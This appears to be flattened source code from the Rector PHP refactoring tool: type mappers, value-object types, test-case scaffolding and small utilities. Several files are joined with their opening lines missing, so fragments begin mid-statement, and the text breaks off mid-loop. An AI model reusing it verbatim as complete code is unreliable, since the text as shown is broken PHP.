NameScope $nameScope) : Type { $intersectionedTypes = []; foreach ($typeNode->types as $intersectionedTypeNode) { if (!$intersectionedTypeNode instanceof IdentifierTypeNode) { return new MixedType(); } $intersectionedTypes[] = $this->identifierPhpDocTypeMapper->mapIdentifierTypeNode($intersectionedTypeNode, $node); } return new IntersectionType($intersectionedTypes); } } */ final class NullablePhpDocTypeMapper implements PhpDocTypeMapperInterface { /** * @readonly * @var \Rector\StaticTypeMapper\PhpDocParser\IdentifierPhpDocTypeMapper */ private $identifierPhpDocTypeMapper; /** * @readonly * @var \PHPStan\PhpDoc\TypeNodeResolver */ private $typeNodeResolver; public function __construct(\Rector\StaticTypeMapper\PhpDocParser\IdentifierPhpDocTypeMapper $identifierPhpDocTypeMapper, TypeNodeResolver $typeNodeResolver) { $this->identifierPhpDocTypeMapper = $identifierPhpDocTypeMapper; $this->typeNodeResolver = $typeNodeResolver; } public function getNodeType() : string { return NullableTypeNode::class; } /** * @param NullableTypeNode $typeNode */ public function mapToPHPStanType(TypeNode $typeNode, Node $node, NameScope $nameScope) : Type { if ($typeNode->type instanceof IdentifierTypeNode) { $type = $this->identifierPhpDocTypeMapper->mapToPHPStanType($typeNode->type, $node, $nameScope); if ($type instanceof UnionType) { return new UnionType(\array_merge([new NullType()], $type->getTypes())); } return new UnionType([new NullType(), $type]); } // fallback to PHPStan resolver return $this->typeNodeResolver->resolve($typeNode, $nameScope); } } */ final class UnionPhpDocTypeMapper implements PhpDocTypeMapperInterface { /** * @readonly * @var \Rector\NodeTypeResolver\PHPStan\Type\TypeFactory */ private $typeFactory; /** * @readonly * @var \Rector\StaticTypeMapper\PhpDocParser\IdentifierPhpDocTypeMapper */ private $identifierPhpDocTypeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\PhpDocParser\IntersectionPhpDocTypeMapper */ private $intersectionPhpDocTypeMapper; /** * @readonly * @var \PHPStan\PhpDoc\TypeNodeResolver */ private $typeNodeResolver; public function __construct(TypeFactory $typeFactory, \Rector\StaticTypeMapper\PhpDocParser\IdentifierPhpDocTypeMapper $identifierPhpDocTypeMapper, \Rector\StaticTypeMapper\PhpDocParser\IntersectionPhpDocTypeMapper $intersectionPhpDocTypeMapper, TypeNodeResolver $typeNodeResolver) { $this->typeFactory = $typeFactory; $this->identifierPhpDocTypeMapper = $identifierPhpDocTypeMapper; $this->intersectionPhpDocTypeMapper = $intersectionPhpDocTypeMapper; $this->typeNodeResolver = $typeNodeResolver; } public function getNodeType() : string { return UnionTypeNode::class; } /** * @param UnionTypeNode $typeNode */ public function mapToPHPStanType(TypeNode $typeNode, Node $node, NameScope $nameScope) : Type { $unionedTypes = []; foreach ($typeNode->types as $unionedTypeNode) { if ($unionedTypeNode instanceof IdentifierTypeNode) { $unionedTypes[] = $this->identifierPhpDocTypeMapper->mapToPHPStanType($unionedTypeNode, $node, $nameScope); continue; } if ($unionedTypeNode instanceof IntersectionTypeNode) { $unionedTypes[] = $this->intersectionPhpDocTypeMapper->mapToPHPStanType($unionedTypeNode, $node, $nameScope); continue; } $unionedTypes[] = $this->typeNodeResolver->resolve($unionedTypeNode, $nameScope); } // to prevent missing class error, e.g. in tests return $this->typeFactory->createMixedPassedOrUnionTypeAndKeepConstant($unionedTypes); } } */ final class ExprNodeMapper implements PhpParserNodeMapperInterface { public function getNodeType() : string { return Expr::class; } /** * @param Expr $node */ public function mapToPHPStan(Node $node) : Type { $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return new MixedType(); } return $scope->getType($node); } } */ final class FullyQualifiedNodeMapper implements PhpParserNodeMapperInterface { public function getNodeType() : string { return FullyQualified::class; } /** * @param FullyQualified $node */ public function mapToPHPStan(Node $node) : Type { $originalName = (string) $node->getAttribute(AttributeKey::ORIGINAL_NAME); $fullyQualifiedName = $node->toString(); // is aliased? if ($this->isAliasedName($originalName, $fullyQualifiedName) && $originalName !== $fullyQualifiedName) { return new AliasedObjectType($originalName, $fullyQualifiedName); } return new FullyQualifiedObjectType($fullyQualifiedName); } private function isAliasedName(string $originalName, string $fullyQualifiedName) : bool { if ($originalName === '') { return \false; } if ($originalName === $fullyQualifiedName) { return \false; } return \substr_compare($fullyQualifiedName, '\\' . $originalName, -\strlen('\\' . $originalName)) !== 0; } } */ final class IdentifierNodeMapper implements PhpParserNodeMapperInterface { /** * @readonly * @var \Rector\StaticTypeMapper\Mapper\ScalarStringToTypeMapper */ private $scalarStringToTypeMapper; public function __construct(ScalarStringToTypeMapper $scalarStringToTypeMapper) { $this->scalarStringToTypeMapper = $scalarStringToTypeMapper; } public function getNodeType() : string { return Identifier::class; } /** * @param Identifier $node */ public function mapToPHPStan(Node $node) : Type { return $this->scalarStringToTypeMapper->mapScalarStringToType($node->name); } } */ final class IntersectionTypeNodeMapper implements PhpParserNodeMapperInterface { /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper */ private $fullyQualifiedNodeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\NameNodeMapper */ private $nameNodeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\IdentifierNodeMapper */ private $identifierNodeMapper; public function __construct(\Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper $fullyQualifiedNodeMapper, \Rector\StaticTypeMapper\PhpParser\NameNodeMapper $nameNodeMapper, \Rector\StaticTypeMapper\PhpParser\IdentifierNodeMapper $identifierNodeMapper) { $this->fullyQualifiedNodeMapper = $fullyQualifiedNodeMapper; $this->nameNodeMapper = $nameNodeMapper; $this->identifierNodeMapper = $identifierNodeMapper; } public function getNodeType() : string { return Node\IntersectionType::class; } /** * @param Node\IntersectionType $node */ public function mapToPHPStan(Node $node) : Type { $types = []; foreach ($node->types as $intersectionedType) { if ($intersectionedType instanceof FullyQualified) { $types[] = $this->fullyQualifiedNodeMapper->mapToPHPStan($intersectionedType); continue; } if ($intersectionedType instanceof Name) { $types[] = $this->nameNodeMapper->mapToPHPStan($intersectionedType); continue; } $types[] = $this->identifierNodeMapper->mapToPHPStan($intersectionedType); } return new IntersectionType($types); } } */ final class NameNodeMapper implements PhpParserNodeMapperInterface { /** * @readonly * @var \Rector\Reflection\ReflectionResolver */ private $reflectionResolver; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper */ private $fullyQualifiedNodeMapper; public function __construct(ReflectionResolver $reflectionResolver, \Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper $fullyQualifiedNodeMapper) { $this->reflectionResolver = $reflectionResolver; $this->fullyQualifiedNodeMapper = $fullyQualifiedNodeMapper; } public function getNodeType() : string { return Name::class; } /** * @param Name $node */ public function mapToPHPStan(Node $node) : Type { $name = $node->toString(); if ($node->isSpecialClassName()) { return $this->createClassReferenceType($node, $name); } $expandedNamespacedName = $this->expandedNamespacedName($node); if ($expandedNamespacedName instanceof FullyQualified) { return $this->fullyQualifiedNodeMapper->mapToPHPStan($expandedNamespacedName); } return new MixedType(); } private function expandedNamespacedName(Name $name) : ?FullyQualified { if (\get_class($name) !== Name::class) { return null; } if (!$name->hasAttribute(AttributeKey::NAMESPACED_NAME)) { return null; } return new FullyQualified($name->getAttribute(AttributeKey::NAMESPACED_NAME)); } /** * @return \PHPStan\Type\MixedType|\PHPStan\Type\StaticType|\Rector\StaticTypeMapper\ValueObject\Type\SelfStaticType|\PHPStan\Type\ObjectWithoutClassType */ private function createClassReferenceType(Name $name, string $reference) { $classReflection = $this->reflectionResolver->resolveClassReflection($name); if (!$classReflection instanceof ClassReflection) { return new MixedType(); } if ($reference === ObjectReference::STATIC) { return new StaticType($classReflection); } if ($reference === ObjectReference::SELF) { return new SelfStaticType($classReflection); } $parentClassReflection = $classReflection->getParentClass(); if ($parentClassReflection instanceof ClassReflection) { return new ParentStaticType($parentClassReflection); } return new ParentObjectWithoutClassType(); } } */ final class NullableTypeNodeMapper implements PhpParserNodeMapperInterface { /** * @readonly * @var \Rector\NodeTypeResolver\PHPStan\Type\TypeFactory */ private $typeFactory; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper */ private $fullyQualifiedNodeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\NameNodeMapper */ private $nameNodeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\IdentifierNodeMapper */ private $identifierNodeMapper; public function __construct(TypeFactory $typeFactory, \Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper $fullyQualifiedNodeMapper, \Rector\StaticTypeMapper\PhpParser\NameNodeMapper $nameNodeMapper, \Rector\StaticTypeMapper\PhpParser\IdentifierNodeMapper $identifierNodeMapper) { $this->typeFactory = $typeFactory; $this->fullyQualifiedNodeMapper = $fullyQualifiedNodeMapper; $this->nameNodeMapper = $nameNodeMapper; $this->identifierNodeMapper = $identifierNodeMapper; } public function getNodeType() : string { return NullableType::class; } /** * @param NullableType $node */ public function mapToPHPStan(Node $node) : Type { if ($node->type instanceof FullyQualified) { $type = $this->fullyQualifiedNodeMapper->mapToPHPStan($node->type); } elseif ($node->type instanceof Name) { $type = $this->nameNodeMapper->mapToPHPStan($node->type); } else { $type = $this->identifierNodeMapper->mapToPHPStan($node->type); } $types = [$type, new NullType()]; return $this->typeFactory->createMixedPassedOrUnionType($types); } } */ final class StringNodeMapper implements PhpParserNodeMapperInterface { public function getNodeType() : string { return String_::class; } /** * @param String_ $node */ public function mapToPHPStan(Node $node) : Type { return new StringType(); } } */ final class UnionTypeNodeMapper implements PhpParserNodeMapperInterface { /** * @readonly * @var \Rector\NodeTypeResolver\PHPStan\Type\TypeFactory */ private $typeFactory; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper */ private $fullyQualifiedNodeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\NameNodeMapper */ private $nameNodeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\IdentifierNodeMapper */ private $identifierNodeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\PhpParser\IntersectionTypeNodeMapper */ private $intersectionTypeNodeMapper; public function __construct(TypeFactory $typeFactory, \Rector\StaticTypeMapper\PhpParser\FullyQualifiedNodeMapper $fullyQualifiedNodeMapper, \Rector\StaticTypeMapper\PhpParser\NameNodeMapper $nameNodeMapper, \Rector\StaticTypeMapper\PhpParser\IdentifierNodeMapper $identifierNodeMapper, \Rector\StaticTypeMapper\PhpParser\IntersectionTypeNodeMapper $intersectionTypeNodeMapper) { $this->typeFactory = $typeFactory; $this->fullyQualifiedNodeMapper = $fullyQualifiedNodeMapper; $this->nameNodeMapper = $nameNodeMapper; $this->identifierNodeMapper = $identifierNodeMapper; $this->intersectionTypeNodeMapper = $intersectionTypeNodeMapper; } public function getNodeType() : string { return UnionType::class; } /** * @param UnionType $node */ public function mapToPHPStan(Node $node) : Type { $types = []; foreach ($node->types as $unionedType) { if ($unionedType instanceof FullyQualified) { $types[] = $this->fullyQualifiedNodeMapper->mapToPHPStan($unionedType); continue; } if ($unionedType instanceof Name) { $types[] = $this->nameNodeMapper->mapToPHPStan($unionedType); continue; } if ($unionedType instanceof Identifier) { $types[] = $this->identifierNodeMapper->mapToPHPStan($unionedType); continue; } $types[] = $this->intersectionTypeNodeMapper->mapToPHPStan($unionedType); } return $this->typeFactory->createMixedPassedOrUnionType($types, \true); } } PHPStan <=> PHPStan doc <=> string type nodes between all possible formats * @see \Rector\Tests\NodeTypeResolver\StaticTypeMapper\StaticTypeMapperTest */ final class StaticTypeMapper { /** * @readonly * @var \Rector\StaticTypeMapper\Naming\NameScopeFactory */ private $nameScopeFactory; /** * @readonly * @var \Rector\PHPStanStaticTypeMapper\PHPStanStaticTypeMapper */ private $phpStanStaticTypeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\PhpDoc\PhpDocTypeMapper */ private $phpDocTypeMapper; /** * @readonly * @var \Rector\StaticTypeMapper\Mapper\PhpParserNodeMapper */ private $phpParserNodeMapper; public function __construct(NameScopeFactory $nameScopeFactory, PHPStanStaticTypeMapper $phpStanStaticTypeMapper, PhpDocTypeMapper $phpDocTypeMapper, PhpParserNodeMapper $phpParserNodeMapper) { $this->nameScopeFactory = $nameScopeFactory; $this->phpStanStaticTypeMapper = $phpStanStaticTypeMapper; $this->phpDocTypeMapper = $phpDocTypeMapper; $this->phpParserNodeMapper = $phpParserNodeMapper; } public function mapPHPStanTypeToPHPStanPhpDocTypeNode(Type $phpStanType) : TypeNode { return $this->phpStanStaticTypeMapper->mapToPHPStanPhpDocTypeNode($phpStanType); } /** * @param TypeKind::* $typeKind * @return Name|ComplexType|Identifier|null */ public function mapPHPStanTypeToPhpParserNode(Type $phpStanType, string $typeKind) : ?Node { return $this->phpStanStaticTypeMapper->mapToPhpParserNode($phpStanType, $typeKind); } public function mapPhpParserNodePHPStanType(Node $node) : Type { return $this->phpParserNodeMapper->mapToPHPStanType($node); } public function mapPHPStanPhpDocTypeToPHPStanType(PhpDocTagValueNode $phpDocTagValueNode, Node $node) : Type { if ($phpDocTagValueNode instanceof TemplateTagValueNode) { // special case if (!$phpDocTagValueNode->bound instanceof TypeNode) { return new MixedType(); } $nameScope = $this->nameScopeFactory->createNameScopeFromNodeWithoutTemplateTypes($node); return $this->phpDocTypeMapper->mapToPHPStanType($phpDocTagValueNode->bound, $node, $nameScope); } if ($phpDocTagValueNode instanceof ReturnTagValueNode || $phpDocTagValueNode instanceof ParamTagValueNode || $phpDocTagValueNode instanceof VarTagValueNode || $phpDocTagValueNode instanceof ThrowsTagValueNode) { return $this->mapPHPStanPhpDocTypeNodeToPHPStanType($phpDocTagValueNode->type, $node); } throw new NotImplementedYetException(__METHOD__ . ' for ' . \get_class($phpDocTagValueNode)); } public function mapPHPStanPhpDocTypeNodeToPHPStanType(TypeNode $typeNode, Node $node) : Type { $nameScope = $this->nameScopeFactory->createNameScopeFromNodeWithoutTemplateTypes($node); return $this->phpDocTypeMapper->mapToPHPStanType($typeNode, $node, $nameScope); } } fullyQualifiedClass = $fullyQualifiedClass; parent::__construct($alias); } public function getFullyQualifiedName() : string { return $this->fullyQualifiedClass; } /** * @param Use_::TYPE_* $useType */ public function getUseNode(int $useType) : Use_ { $name = new Name($this->fullyQualifiedClass); $useUse = new UseUse($name, $this->getClassName()); $use = new Use_([$useUse]); $use->type = $useType; return $use; } public function getShortName() : string { return $this->getClassName(); } /** * @param $this|\Rector\StaticTypeMapper\ValueObject\Type\FullyQualifiedObjectType $comparedObjectType */ public function areShortNamesEqual($comparedObjectType) : bool { return $this->getShortName() === $comparedObjectType->getShortName(); } public function equals(Type $type) : bool { // compare with FQN classes if ($type instanceof TypeWithClassName) { if ($type instanceof self && $this->fullyQualifiedClass === $type->getFullyQualifiedName()) { return \true; } if ($this->fullyQualifiedClass === $type->getClassName()) { return \true; } } return parent::equals($type); } } getShortName(), $this->getClassName()); } /** * @param \Rector\StaticTypeMapper\ValueObject\Type\AliasedObjectType|$this $comparedObjectType */ public function areShortNamesEqual($comparedObjectType) : bool { return $this->getShortName() === $comparedObjectType->getShortName(); } public function getShortName() : string { $className = $this->getClassName(); if (\strpos($className, '\\') === \false) { return $className; } return (string) Strings::after($className, '\\', -1); } public function getShortNameNode() : Name { $name = new Name($this->getShortName()); // keep original to avoid loss on while importing $name->setAttribute(AttributeKey::NAMESPACED_NAME, $this->getClassName()); return $name; } /** * @param Use_::TYPE_* $useType */ public function getUseNode(int $useType) : Use_ { $name = new Name($this->getClassName()); $useUse = new UseUse($name); $use = new Use_([$useUse]); $use->type = $useType; return $use; } public function getShortNameLowered() : string { return \strtolower($this->getShortName()); } } fullyQualifiedName = $fullyQualifiedName; parent::__construct($shortName, $types); } public function isSuperTypeOf(Type $type) : TrinaryLogic { $genericObjectType = new GenericObjectType($this->fullyQualifiedName, $this->getTypes()); return $genericObjectType->isSuperTypeOf($type); } public function getShortName() : string { return $this->getClassName(); } } fullyQualifiedName = $fullyQualifiedName; parent::__construct($shortName); } public function isSuperTypeOf(Type $type) : TrinaryLogic { $fullyQualifiedObjectType = new ObjectType($this->fullyQualifiedName); return $fullyQualifiedObjectType->isSuperTypeOf($type); } public function getShortName() : string { return $this->getClassName(); } /** * @return class-string */ public function getFullyQualifiedName() : string { return $this->fullyQualifiedName; } } className = $className; } public function getClassName() : string { return $this->className; } } > */ public static function yieldDirectory(string $directory, string $suffix = '*.php.inc') : Iterator { $finder = (new Finder())->in($directory)->files()->name($suffix)->sortByName(); foreach ($finder as $fileInfo) { (yield [$fileInfo->getRealPath()]); } } } */ public static function split(string $filePath) : array { $fixtureFileContents = FileSystem::read($filePath); return self::splitFixtureFileContents($fixtureFileContents); } /** * @return array */ public static function splitFixtureFileContents(string $fixtureFileContents) : array { $fixtureFileContents = \str_replace("\r\n", "\n", $fixtureFileContents); return \explode("-----\n", $fixtureFileContents); } } import($configFile); } } /** * @template TType as object * @param class-string $class * @return TType */ protected function make(string $class) : object { return self::getContainer()->make($class); } protected static function getContainer() : RectorConfig { if (!self::$rectorConfig instanceof RectorConfig) { $lazyContainerFactory = new LazyContainerFactory(); self::$rectorConfig = $lazyContainerFactory->create(); } self::$rectorConfig->boot(); return self::$rectorConfig; } } */ private static $cacheByRuleAndConfig = []; /** * Restore default parameters */ public static function tearDownAfterClass() : void { SimpleParameterProvider::setParameter(Option::AUTO_IMPORT_NAMES, \false); SimpleParameterProvider::setParameter(Option::AUTO_IMPORT_DOC_BLOCK_NAMES, \false); SimpleParameterProvider::setParameter(Option::REMOVE_UNUSED_IMPORTS, \false); SimpleParameterProvider::setParameter(Option::IMPORT_SHORT_CLASSES, \true); SimpleParameterProvider::setParameter(Option::INDENT_CHAR, ' '); SimpleParameterProvider::setParameter(Option::INDENT_SIZE, 4); SimpleParameterProvider::setParameter(Option::POLYFILL_PACKAGES, []); SimpleParameterProvider::setParameter(Option::NEW_LINE_ON_FLUENT_CALL, \false); } protected function setUp() : void { $this->includePreloadFilesAndScoperAutoload(); $configFile = $this->provideConfigFilePath(); // cleanup all registered rectors, so you can use only the new ones $rectorConfig = self::getContainer(); // boot once for config + test case to avoid booting again and again for every test fixture $cacheKey = \sha1($configFile . static::class); if (!isset(self::$cacheByRuleAndConfig[$cacheKey])) { // reset /** @var RewindableGenerator $resetables */ $resetables = $rectorConfig->tagged(ResetableInterface::class); foreach ($resetables as $resetable) { /** @var ResetableInterface $resetable */ $resetable->reset(); } $this->forgetRectorsRules(); $rectorConfig->resetRuleConfigurations(); // this has to be always empty, so we can add new rules with their configuration $this->assertEmpty($rectorConfig->tagged(RectorInterface::class)); $this->bootFromConfigFiles([$configFile]); $rectorsGenerator = $rectorConfig->tagged(RectorInterface::class); $rectors = $rectorsGenerator instanceof RewindableGenerator ? \iterator_to_array($rectorsGenerator->getIterator()) : []; /** @var RectorNodeTraverser $rectorNodeTraverser */ $rectorNodeTraverser = $rectorConfig->make(RectorNodeTraverser::class); $rectorNodeTraverser->refreshPhpRectors($rectors); // store cache self::$cacheByRuleAndConfig[$cacheKey] = \true; } $this->applicationFileProcessor = $this->make(ApplicationFileProcessor::class); $this->dynamicSourceLocatorProvider = $this->make(DynamicSourceLocatorProvider::class); /** @var AdditionalAutoloader $additionalAutoloader */ $additionalAutoloader = $this->make(AdditionalAutoloader::class); $additionalAutoloader->autoloadPaths(); /** @var BootstrapFilesIncluder $bootstrapFilesIncluder */ $bootstrapFilesIncluder = $this->make(BootstrapFilesIncluder::class); $bootstrapFilesIncluder->includeBootstrapFiles(); } protected function tearDown() : void { // clear temporary file if (\is_string($this->inputFilePath)) { FileSystem::delete($this->inputFilePath); } } protected static function yieldFilesFromDirectory(string $directory, string $suffix = '*.php.inc') : Iterator { return FixtureFileFinder::yieldDirectory($directory, $suffix); } protected function isWindows() : bool { return \strncasecmp(\PHP_OS, 'WIN', 3) === 0; } protected function doTestFile(string $fixtureFilePath) : void { // prepare input file contents and expected file output contents $fixtureFileContents = FileSystem::read($fixtureFilePath); if (FixtureSplitter::containsSplit($fixtureFileContents)) { // changed content [$inputFileContents, $expectedFileContents] = FixtureSplitter::splitFixtureFileContents($fixtureFileContents); } else { // no change $inputFileContents = $fixtureFileContents; $expectedFileContents = $fixtureFileContents; } $inputFilePath = $this->createInputFilePath($fixtureFilePath); // to remove later in tearDown() $this->inputFilePath = $inputFilePath; if ($fixtureFilePath === $inputFilePath) { throw new ShouldNotHappenException('Fixture file and input file cannot be the same: ' . $fixtureFilePath); } // write temp file FileSystem::write($inputFilePath, $inputFileContents, null); $this->doTestFileMatchesExpectedContent($inputFilePath, $inputFileContents, $expectedFileContents, $fixtureFilePath); } private function forgetRectorsRules() : void { $rectorConfig = self::getContainer(); // 1. forget tagged services ContainerMemento::forgetTag($rectorConfig, RectorInterface::class); // 2. remove after binding too, to avoid setting configuration over and over again $privatesAccessor = new PrivatesAccessor(); $privatesAccessor->propertyClosure($rectorConfig, 'afterResolvingCallbacks', static function (array $afterResolvingCallbacks) : array { foreach (\array_keys($afterResolvingCallbacks) as $key) { if ($key === AbstractRector::class) { continue; } if (\is_a($key, RectorInterface::class, \true)) { unset($afterResolvingCallbacks[$key]); } } return $afterResolvingCallbacks; }); } private function includePreloadFilesAndScoperAutoload() : void { if (\file_exists(__DIR__ . '/../../../preload.php')) { if (\file_exists(__DIR__ . '/../../../vendor')) { require_once __DIR__ . '/../../../preload.php'; // test case in rector split package } elseif (\file_exists(__DIR__ . '/../../../../../../vendor')) { require_once __DIR__ . '/../../../preload-split-package.php'; } } if (\file_exists(__DIR__ . '/../../../vendor/scoper-autoload.php')) { require_once __DIR__ . '/../../../vendor/scoper-autoload.php'; } } private function doTestFileMatchesExpectedContent(string $originalFilePath, string $inputFileContents, string $expectedFileContents, string $fixtureFilePath) : void { SimpleParameterProvider::setParameter(Option::SOURCE, [$originalFilePath]); // the file is now changed (if any rule matches) $rectorTestResult = $this->processFilePath($originalFilePath); $changedContents = $rectorTestResult->getChangedContents(); $fixtureFilename = \basename($fixtureFilePath); $failureMessage = \sprintf('Failed on fixture file "%s"', $fixtureFilename); // give more context about used rules in case of set testing if (\count($rectorTestResult->getAppliedRectorClasses()) > 1) { $failureMessage .= \PHP_EOL . \PHP_EOL; $failureMessage .= 'Applied Rector rules:' . \PHP_EOL; foreach ($rectorTestResult->getAppliedRectorClasses() as $appliedRectorClass) { $failureMessage .= ' * ' . $appliedRectorClass . \PHP_EOL; } } try { $this->assertSame($expectedFileContents, $changedContents, $failureMessage); } catch (ExpectationFailedException $exception) { FixtureFileUpdater::updateFixtureContent($inputFileContents, $changedContents, $fixtureFilePath); // if not exact match, check the regex version (useful for generated hashes/uuids in the code) $this->assertStringMatchesFormat($expectedFileContents, $changedContents, $failureMessage); } } private function processFilePath(string $filePath) : RectorTestResult { $this->dynamicSourceLocatorProvider->setFilePath($filePath); /** @var ConfigurationFactory $configurationFactory */ $configurationFactory = $this->make(ConfigurationFactory::class); $configuration = $configurationFactory->createForTests([$filePath]); $processResult = $this->applicationFileProcessor->processFiles([$filePath], $configuration); // return changed file contents $changedFileContents = FileSystem::read($filePath); return new RectorTestResult($changedFileContents, $processResult); } private function createInputFilePath(string $fixtureFilePath) : string { $inputFileDirectory = \dirname($fixtureFilePath); // remove ".inc" suffix if (\substr_compare($fixtureFilePath, '.inc', -\strlen('.inc')) === 0) { $trimmedFixtureFilePath = Strings::substring($fixtureFilePath, 0, -4); } else { $trimmedFixtureFilePath = $fixtureFilePath; } $fixtureBasename = \pathinfo($trimmedFixtureFilePath, \PATHINFO_BASENAME); return $inputFileDirectory . '/' . $fixtureBasename; } } $type * @return T */ protected function getService(string $type) : object { return $this->make($type); } } changedContents = $changedContents; $this->processResult = $processResult; } public function getChangedContents() : string { return $this->changedContents; } /** * @return array> */ public function getAppliedRectorClasses() : array { $rectorClasses = []; foreach ($this->processResult->getFileDiffs() as $fileDiff) { $rectorClasses = \array_merge($rectorClasses, $fileDiff->getRectorClasses()); } \sort($rectorClasses); return \array_unique($rectorClasses); } } rectorParser = $rectorParser; $this->nodeScopeAndMetadataDecorator = $nodeScopeAndMetadataDecorator; $this->currentFileProvider = $currentFileProvider; $this->dynamicSourceLocatorProvider = $dynamicSourceLocatorProvider; } public function parseFilePathToFile(string $filePath) : File { // needed for PHPStan reflection, as it caches the last processed file $this->dynamicSourceLocatorProvider->setFilePath($filePath); $fileContent = FileSystem::read($filePath); $file = new File($filePath, $fileContent); $stmts = $this->rectorParser->parseString($fileContent); $stmts = $this->nodeScopeAndMetadataDecorator->decorateNodesFromFile($filePath, $stmts); $file->hydrateStmtsAndTokens($stmts, $stmts, []); $this->currentFileProvider->setFile($file); return $file; } /** * @return Node[] */ public function parseFileToDecoratedNodes(string $filePath) : array { // needed for PHPStan reflection, as it caches the last processed file $this->dynamicSourceLocatorProvider->setFilePath($filePath); $fileContent = FileSystem::read($filePath); $stmts = $this->rectorParser->parseString($fileContent); $file = new File($filePath, $fileContent); $stmts = $this->nodeScopeAndMetadataDecorator->decorateNodesFromFile($filePath, $stmts); $file->hydrateStmtsAndTokens($stmts, $stmts, []); $this->currentFileProvider->setFile($file); return $stmts; } } mergeLeftToRightWithCallable($left, $right, function ($leftValue, $rightValue) { return $this->merge($leftValue, $rightValue); }); } if ($left !== null) { return $left; } if (!\is_array($right)) { return $left; } return $right; } /** * @param array $left * @param array $right * @return mixed[] */ private function mergeLeftToRightWithCallable(array $left, array $right, callable $mergeCallback) : array { foreach ($left as $key => $val) { if (\is_int($key)) { // prevent duplicated values in unindexed arrays if (!\in_array($val, $right, \true)) { $right[] = $val; } } else { if (isset($right[$key])) { $val = $mergeCallback($val, $right[$key]); } $right[$key] = $val; } } return $right; } } getAlgo(), $string); } /** * cryptographic insecure hasing of files * * @param string[] $files */ public function hashFiles(array $files) : string { $configHash = ''; $algo = $this->getAlgo(); foreach ($files as $file) { $hash = \hash_file($algo, $file); if ($hash === \false) { throw new ShouldNotHappenException(\sprintf('File %s is not readable', $file)); } $configHash .= $hash; } return $configHash; } private function getAlgo() : string { //see https://php.watch/articles/php-hash-benchmark if (\PHP_VERSION_ID >= 80100) { // if xxh128 is available use it, as it is way faster return 'xxh128'; } return 'md4'; } } getMemoryLimit(); if ($memoryLimit === null) { return; } $this->validateMemoryLimitFormat($memoryLimit); $memorySetResult = \ini_set('memory_limit', $memoryLimit); if ($memorySetResult === \false) { $errorMessage = \sprintf('Memory limit "%s" cannot be set.', $memoryLimit); throw new InvalidConfigurationException($errorMessage); } } private function validateMemoryLimitFormat(string $memoryLimit) : void { $memoryLimitFormatMatch = Strings::match($memoryLimit, self::VALID_MEMORY_LIMIT_REGEX); if ($memoryLimitFormatMatch !== null) { return; } $errorMessage = \sprintf('Invalid memory limit format "%s".', $memoryLimit); throw new InvalidConfigurationException($errorMessage); } } PhpParser(.*?))\\(#ms'; /** * @var string * @see https://regex101.com/r/uQFuvL/1 */ private const PROPERTY_KEY_REGEX = '#(?[\\w\\d]+)\\:#'; public function __construct(SymfonyStyle $symfonyStyle) { $this->symfonyStyle = $symfonyStyle; } /** * @param Node|Node[] $nodes */ public function printNodes($nodes) : void { $dumpedNodesContents = SimpleNodeDumper::dump($nodes); // colorize $colorContents = $this->addConsoleColors($dumpedNodesContents); $this->symfonyStyle->writeln($colorContents); $this->symfonyStyle->newLine(); } private function addConsoleColors(string $contents) : string { // decorate class names $colorContents = Strings::replace($contents, self::CLASS_NAME_REGEX, static function (array $match) : string { return '' . $match['class_name'] . '('; }); // decorate keys return Strings::replace($colorContents, self::PROPERTY_KEY_REGEX, static function (array $match) : string { return '' . $match['key'] . ':'; }); } } 1) { $version = $explodeDash[0]; } $explodeVersion = \explode('.', $version); $countExplodedVersion = \count($explodeVersion); if ($countExplodedVersion >= 2) { return (int) $explodeVersion[0] * 10000 + (int) $explodeVersion[1] * 100; } return (int) $version; } } getPrivateProperty($object, $propertyName); // modify value $property = $closure($property); $this->setPrivateProperty($object, $propertyName, $property); } /** * @param object|class-string $object * @param mixed[] $arguments * @api * @return mixed */ public function callPrivateMethod($object, string $methodName, array $arguments) { if (\is_string($object)) { $reflectionClass = new ReflectionClass($object); $object = $reflectionClass->newInstanceWithoutConstructor(); } $reflectionMethod = $this->createAccessibleMethodReflection($object, $methodName); return $reflectionMethod->invokeArgs($object, $arguments); } /** * @return mixed */ public function getPrivateProperty(object $object, string $propertyName) { $reflectionProperty = $this->resolvePropertyReflection($object, $propertyName); $reflectionProperty->setAccessible(\true); return $reflectionProperty->getValue($object); } /** * @param mixed $value */ public function setPrivateProperty(object $object, string $propertyName, $value) : void { $reflectionProperty = $this->resolvePropertyReflection($object, $propertyName); $reflectionProperty->setAccessible(\true); $reflectionProperty->setValue($object, $value); } private function createAccessibleMethodReflection(object $object, string $methodName) : ReflectionMethod { $reflectionMethod = new ReflectionMethod($object, $methodName); $reflectionMethod->setAccessible(\true); return $reflectionMethod; } private function resolvePropertyReflection(object $object, string $propertyName) : ReflectionProperty { if (\property_exists($object, $propertyName)) { return new ReflectionProperty($object, $propertyName); } $parentClass = \get_parent_class($object); if ($parentClass !== \false) { return new ReflectionProperty($parentClass, $propertyName); } $errorMessage = \sprintf('Property "$%s" was not found in "%s" class', $propertyName, \get_class($object)); throw new MissingPrivatePropertyException($errorMessage); } } $value) { if (self::isRectorClassValue($key)) { if (\class_exists($key)) { $skippedRectorRules[] = $key; } else { $nonExistingRules[] = $key; } continue; } if (!self::isRectorClassValue($value)) { continue; } if (\class_exists($value)) { $skippedRectorRules[] = $value; continue; } $nonExistingRules[] = $value; } SimpleParameterProvider::addParameter(Option::SKIPPED_RECTOR_RULES, $skippedRectorRules); if ($nonExistingRules === []) { return; } $nonExistingRulesString = ''; foreach ($nonExistingRules as 